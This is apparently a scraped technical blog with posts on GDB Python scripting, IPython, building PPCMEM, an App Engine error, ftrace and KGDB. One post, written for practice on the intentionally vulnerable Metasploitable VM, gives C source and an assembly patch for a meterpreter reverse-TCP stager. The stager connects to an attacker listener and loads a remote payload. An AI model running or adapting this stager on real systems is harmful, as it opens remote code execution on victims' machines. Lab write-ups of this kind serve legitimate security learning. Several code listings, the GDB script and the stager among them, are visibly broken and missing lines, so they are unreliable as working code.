Tuesday, February 7, 2012

Backporting "watch -l" from GDB 7.4+ using Python

GDB 7.4 added a very useful "-l / -location" option to the "watch expr" command[1]:

"Ordinarily a watchpoint respects the scope of variables in expr. The -location argument tells gdb to instead watch the memory referred to by expr. In this case, gdb will evaluate expr, take the address of the result, and watch the memory at that address.".

i.e. If you do "watch p->field_that_gets_corrupted" the watch point will get deleted when local variable p goes out of scope while "watch -l" works the way you want.

For those stuck using GDB 7.2 (as shipped in Ubuntu 11.04) the following GDB Python script ( gdb-watch-location.py) might help:

import gdb

def _watch_location(expr, watch_point_class):
    l = gdb.parse_and_eval(expr).address
    wp_str = '*(%(type)s)(%(address)s)' % dict(type=l.type,
    gdb.Breakpoint(wp_str, gdb.BP_WATCHPOINT, watch_point_class)

class _WatchLocationCommand(gdb.Command):
    'Like "watch -l" in gdb 7.4+'
    def __init__(self):
        gdb.Command.__init__(self, 'watch-l',

    def invoke(self, arg, from_tty):
        _watch_location(arg, gdb.WP_WRITE)

class _RWatchLocationCommand(gdb.Command):
    'Like "rwatch -l" in gdb 7.4+'

class _AWatchLocationCommand(gdb.Command):
    'Like "awatch -l" in gdb 7.4+'


Suppose you're working with the following C code snippet:

struct bag {
        int a, b;

static void bag_poke(struct bag *p)
        p->a = 1;

Here's how gdb-watch-locations.py works:

In [1]: gdb.parse_and_eval('p->a')
Out[1]: <gdb.Value at 0x294a070>
  • A gdb.Value has a type and an address
In [2]: v = gdb.parse_and_eval('p->a')

In [3]: print v.type, v.address
int 0x7fffffffdc30
  • We use that to create a GDB watchpoint expression which we later pass to gdb.Breakpoint:
In [4]: '*(%(type)s)(%(address)s)' % dict(type=v.address.type, address=v.address)
u'*(int *)(0x7fffffffdc30)'
  • The code then adds three new GDB commands: "watch-l", "rwatch-l" and "awatch-l". Tells GDB that they should be classified as breakpoint commands in the online help system and use symbols for TAB completion.

Sample session:

$ gdb -x gdb-watch-locations.py data-access
(gdb) break bag_poke
Breakpoint 1 at 0x40050c: file data-access.c, line 9.
(gdb) run
Starting program: /home/scottt/work/scottt-gdb/data-access 

Breakpoint 1, bag_poke (p=0x7fffffffdc40) at data-access.c:9
9  p->a = 1;
(gdb) wa
watch    watch-l  
(gdb) watch-l p->a
Hardware watchpoint 2: *(int *)(0x7fffffffdc40)
(gdb) continue 
Hardware watchpoint 2: *(int *)(0x7fffffffdc40)

Old value = 0
New value = 1
bag_poke (p=0x7fffffffdc40) at data-access.c:10
10 }

See Also

Tuesday, January 31, 2012

Exploring the Gdb Python API with IPython

Exploring the Gdb Python API with IPython

I've found a way to explore GDB's nice Python API in a comfortable programming environment with Python name completion by using IPython.

Save the following content in $HOME/bin/gdbipy:

#!/usr/bin/gdb --python
# vim: set filetype=python:

from IPython.zmq.ipkernel import IPKernelApp

app = IPKernelApp.instance()

Running gdbipy would start an ipython "kernel" within the gdb process:

$ chmod +x ~/bin/gdbipy
$ gdbipy 
[IPKernelApp] To connect another client to this kernel, use:
[IPKernelApp] --existing kernel-23135.json

In another terminal, run:

$ ipython console --existing kernel-23135.json

In [1]: import gdb

In [2]: gdb.<TAB>
Display all 166 possibilities? (y or n)
gdb.ARCH_FRAME                   gdb.SYMBOL_LOC_REGPARM_ADDR

You can quit the ipython console and restart it at anytime without losing state.

Here's an example session:

$ ipython console --existing kernel-23735.json

In [2]: gdb.execute('file /bin/cat')

In [3]: gdb.execute('start')

In [4]: o = gdb.execute('disassemble exit', to_string=True); print o
Dump of assembler code for function __GI_exit:
   0x0000003c902399a0 <+0>: lea    0x375cc1(%rip),%rsi        # 0x3c905af668 <__exit_funcs>
   0x0000003c902399a7 <+7>: sub    $0x8,%rsp
   0x0000003c902399ab <+11>: mov    $0x1,%edx
   0x0000003c902399b0 <+16>: callq  0x3c902398a0 <__run_exit_handlers>
End of assembler dump.

In [5]: print gdb.parse_and_eval('main').type
int (int, char **)

Having an interactive Python environment with name completion makes exploring and learning the gdb.Value API quite a bit easier.

The reason we need to run "ipython console" in a separate process from GDB is so that the two don't fight over the terminal settings. You can experience what that's like by changing the content of the gdbipy script to just "import IPython; IPython.embed()" which embeds an IPython read-eval-print loop in-process. The result is partially garbled terminal output and non functional TAB completion. The two process IPython console solution presented requires IPython 0.12+ and works out of the box on Fedora 16.

See Also

Update Feb 2: changed IPython version requirement from 0.11 to 0.12. After Paul Ivanov pointed it out in the comments.

Thursday, December 8, 2011

Compiling the web interface of PPCMEM/ARMMEM

lwn.net just published an article by Paul McKenney introducing PPCMEM/ARMMEM. I downloaded and fixed up the source a bit to make it possible to build the web interface locally and uploaded it on github.

PPCMEM is implemented in Ocaml (the authors are from INRIA and the University of Cambridge) with two user interfaces on top: a curses interface and a web interface. The web interface is implemented by compiling the core Ocaml code into Javascript and adding a bit of hand written Javascript, CSS and HTML. All the heavy computation is done in the browser.

Web interface build dependencies:
Since Fedora doesn't have js_of_ocaml packaged and the ocaml-lwt package it comes with is too old. It's easier to install a separate Ocaml stack:
  1. yum-builddep ocaml-lwt
  2. Install the GODI Ocaml source distribution
  3. Setup a LOCALPATCHES directory for GODI and put this patch-01-libev-2.3.0 under /opt/godi/localpatches/godi/godi-lwt
  4. export PATH=/opt/godi/bin:$PATH
  5. godi_console -> Select godi_jsofcaml -> godi will automatically download and build the dependencies
On a Debian and friends, apt-get install js-of-ocaml should be enough.
Building and launching the web interface:
export JSLIBDIR=/opt/godi/lib/ocaml/pkg-lib/js_of_ocaml
export JSBINDIR=/opt/godi/bin
# to use the js-of-caml packaged on Debian:
# export JSLIBDIR=/usr/lib/ocaml/js_of_ocaml
# export JSBINDIR=/usr/bin
make TARGET=js JSLIBDIR=$JSLIBDIR JSBINDIR=$JSBINDIR depend_js jquery-1.6.1.js js

My modifications to the ppcmem-tarball.tar.gz tarball include:
  1. Retrieved ARM tests under src-arm/ and the missing web UI files url.js, handler.js and help.html from professor Peter Sewell's personal web directory
  2. Wrote a new simple server side component to serve the static files (ppcmem-web)
  3. The original Makefile assumed that js_of_ocaml/ is placed under ppcmem/ (yet doesn't bundle it, which is good ...). I added external js_of_ocaml support in an ugly hack.

Licensing wise, most of the code base in under 3 clause BSD with two modulers lincensed under LGPL plus linking exceptions. So it looks like there's nothing stopping Linux distributions from packaging this.

Monday, April 18, 2011

Metasploitable meterpreter SEGFAULT workaround

If you’re using Metasploitable (a VM designed to be easy to pwn) to practice your system cracking penetration testing skills and find that the linux/x86/meterpreter/reverse_tcp payloads doesn't seem to work, here’s a workaround:
  1. Download and extract con-recv-jmp.tar.bz2.
  2. Edit LHOST, LPORT in con-recv-jmp.c and run “make” to build the code.
    • The makefile uses “execstack -s” to mark con-recv-jmp as requiring an executable stack.
    • “execstack” is in the preflink package in Fedora.
  3. In msfconsole:

    msf > use exploit/multi/handler
    msf exploit(handler) > set LHOST
    msf exploit(handler) > exploit
  4. Copy con-recv-jmp to your Metasploitable VM and run it.

  5. You should now be getting meterpreter sessions.

For a more minimal change, the stager_sock_reverse.asm in the tarball contains this patch:
--- stager_sock_reverse.asm 2011-04-18 19:42:29.408172423 +0800
+++ con-recv-jmp/stager_sock_reverse.asm 2011-04-18 19:30:56.192643320 +0800
@@ -66,7 +66,7 @@
pop ebx
- mov dh, 0xc
+ mov dl, 0x64
mov al, 0x3
int 0x80
jmp ecx

The snippet above is issuing a read(2) system call, where %edx holds the number of bytes to read. The original code tries to read 0x0c * 256 = 3072 bytes which causes the read syscall to fail with -EFAULT on the 2.6.24-16-server kernel in Metasploitable. Even with the patch, you still must use: "setarch i386 -X ./stager_sock_reverse" to run the stager as it requires an executable stack.

con-recv-jmp.c (functionally equivalent to a patched stager_sock_reverse.asm in Metasploit) is pretty trivial:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <arpa/inet.h>

#define LHOST ""

enum {
BUFSIZE = 4096,
LPORT = 4444,

int main(int argc, char **argv)
int sockfd;
struct sockaddr_in serveraddr;
char buf[BUFSIZE];

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
fprintf(stderr, "socket failed: \"%s\"\n", strerror(errno));

bzero((char *) &serveraddr, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = inet_addr(LHOST);
serveraddr.sin_port = htons(LPORT);

if (connect(sockfd, (const struct sockaddr*)&serveraddr, sizeof(serveraddr)) < 0)
fprintf(stderr, "connect failed: \"%s\"\n", strerror(errno));

if (read(sockfd, buf, STAGER_SIZE) < 0)
fprintf(stderr, "read failed: \"%s\"\n", strerror(errno));

if (1) {
/* The linux/x86/meterpreter 'stager' payload requires 'sockfd' to be in edi.
* We want to clobber edi and not have gcc restore it */
__asm__("movl %[sockfd],%%edi" : /* OUTPUT */ : /* INPUT */ [sockfd] "r" (sockfd) : /* CLOBBERS */);
} else {
/* To disassemble the code, run 'udcli' from udis86 on 'stager' */
FILE *f = fopen("stager", "w");
fwrite(buf, STAGER_SIZE, 1, f);
return 0;

Saturday, April 10, 2010

Google App Engine SDK needs python >= 2.6.4

If you're getting "ImportError: No module named _multiprocessing" when using the Google App Engine SDK:

$ ./google-appengine-sdk/dev_appserver.py --debug itrs-test
/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/appcfg.py:41: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
import sha
/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver_login.py:33: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import md5
INFO 2010-04-09 21:08:33,956 appengine_rpc.py:159] Server: appengine.google.com
Allow dev_appserver to check for updates on startup? (Y/n):
dev_appserver will check for updates on startup. To change this setting, edit /home/scottt/.appcfg_nag
INFO 2010-04-09 21:08:37,314 appcfg.py:357] Checking for updates to the SDK.
DEBUG 2010-04-09 21:08:37,317 appengine_rpc.py:345] Sending HTTP request:
POST /api/updatecheck?release=1.3.2&timestamp=1266535890&api_versions=%5B%271%27%5D HTTPS/1.1
Host: appengine.google.com
X-appcfg-api-version: 1
Content-type: application/octet-stream
User-agent: appcfg_py/1.3.2 Linux/ Python/2.6.2.final.0

INFO 2010-04-09 21:08:38,355 appcfg.py:371] The SDK is up to date.
WARNING 2010-04-09 21:08:38,355 datastore_file_stub.py:623] Could not read datastore data from /tmp/dev_appserver.datastore
INFO 2010-04-09 21:08:38,458 dev_appserver_main.py:399] Running application itrs-test on port 8080: http://localhost:8080
DEBUG 2010-04-09 21:08:47,801 dev_appserver.py:488] Matched "/" to CGI dispatcher with path hello.py
DEBUG 2010-04-09 21:08:47,841 dev_appserver.py:1685] Could not import "_multiprocessing": Disallowed C-extension or built-in module
ERROR 2010-04-09 21:08:47,846 dev_appserver.py:3225] Exception encountered handling request
Traceback (most recent call last):
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 3185, in _HandleRequest
self._Dispatch(dispatcher, self.rfile, outfile, env_dict)
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 3128, in _Dispatch
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 515, in Dispatch
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 2387, in Dispatch
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 2295, in ExecuteCGI
logging.debug('Executing CGI with env:\n%s', pprint.pformat(env))
File "/usr/lib64/python2.6/logging/__init__.py", line 1459, in debug
root.debug(*((msg,)+args), **kwargs)
File "/usr/lib64/python2.6/logging/__init__.py", line 1018, in debug
self._log(DEBUG, msg, args, **kwargs)
File "/usr/lib64/python2.6/logging/__init__.py", line 1142, in _log
record = self.makeRecord(self.name, level, fn, lno, msg, args, exc_info, func, extra)
File "/usr/lib64/python2.6/logging/__init__.py", line 1117, in makeRecord
rv = LogRecord(name, level, fn, lno, msg, args, exc_info, func)
File "/usr/lib64/python2.6/logging/__init__.py", line 272, in __init__
from multiprocessing import current_process
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1272, in Decorate
return func(self, *args, **kwargs)
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1922, in load_module
return self.FindAndLoadModule(submodule, fullname, search_path)
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1272, in Decorate
return func(self, *args, **kwargs)
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1824, in FindAndLoadModule
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1272, in Decorate
return func(self, *args, **kwargs)
File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1775, in LoadModuleRestricted
File "/usr/lib64/python2.6/multiprocessing/__init__.py", line 83, in
import _multiprocessing
ImportError: No module named _multiprocessing

Your options are:
  1. Apply this patch by hand
  2. Upgrade to python >= 2.6.4

See http://bugs.python.org/issue7120 for the details.

Thursday, February 11, 2010

Ftrace Tutorials

LWN.net Ftrace Articles by Steven Rostedt

 Ever wanted to see what functions are called in a running Linux kernel?
    [tracing]# cd /sys/kernel/debug/tracing
[tracing]# echo function_graph > current_tracer
[tracing]# cat trace | head -20
# tracer: function_graph
# | | | | | | |
1) 1.015 us | _spin_lock_irqsave();
1) 0.476 us | internal_add_timer();
1) 0.423 us | wake_up_idle_cpu();
1) 0.461 us | _spin_unlock_irqrestore();
1) 4.770 us | }
1) 5.725 us | }
1) 0.450 us | mutex_unlock();
1) + 24.243 us | }
1) 0.483 us | _spin_lock_irq();
1) 0.517 us | _spin_unlock_irq();
1) | prepare_to_wait() {
1) 0.468 us | _spin_lock_irqsave();
1) 0.502 us | _spin_unlock_irqrestore();
1) 2.411 us | }
1) 0.449 us | kthread_should_stop();
1) | schedule() {

Friday, January 22, 2010

KGDB Tutorial

KGDB Tutorial

Upstrteam documentation: Using kgdb, kdb and the kernel debugger internals by Jason Wessel

Building a Kernel that supports KGDB

menuconfig KGDB
        bool "KGDB: kernel debugging with remote gdb"
        depends on HAVE_ARCH_KGDB
        depends on DEBUG_KERNEL && EXPERIMENTAL
          If you say Y here, it will be possible to remotely debug the
          kernel using gdb.  
        tristate "KGDB: use kgdb over the serial console"
        select CONSOLE_POLL
        select MAGIC_SYSRQ
        default y
          Share a serial console with kgdb. Sysrq-g must be used
          to break in initially.

KGDB Boot and Module Options

  1. Boot with kgdboc=<tty-device>,[baud] (e.g. kgdboc=ttyAMA1 for an integratorcp board emulated by qemu-system-arm, vport0p2 for virtio serial, ttyS0 for a 16550 UART on an x86 etc)
  2. (alternatively) From sysfs
    echo TTY_DEVICE > /sys/module/kgdboc/parameters/kgdboc

Connecting GDB to the Kernel through a QEMU Emulated Serial Port

  • [arm-cross: linux-2.6]$ qemu-system-arm -nographic -s -M integratorcp -kernel ./zImage-2.6.32-integratorcp-v5 -serial tcp:localhost:2345,server -append "console=ttyAMA0 root=/dev/nfs nfsroot=,nfsvers=3 rw ip= kgdboc=ttyAMA0 kgdbwait"
  • [arm-cross: linux-2.6]$ telnet localhost:2345
  • Wait till the telnet session shows "kgdb: Waiting for connection from remote gdb..." then terminate telnet with CTRL-] then CTRL-D
  • [arm-cross: linux-2.6]$ gdb ./vmlinux
  • (gdb) target remote localhost:2345
  • Trouble Shooting: (gdb) set debug remote 1

Connecting GDB to the Kernel through a Physical Serial Port

  • [scottt@2530p linux-2.6]$ gdb ./vmlinux
  • (gdb) set remotebaud 115200
  • (gdb) target remote /dev/ttyS0 # change ttyS0 to the actual serial device on your development machine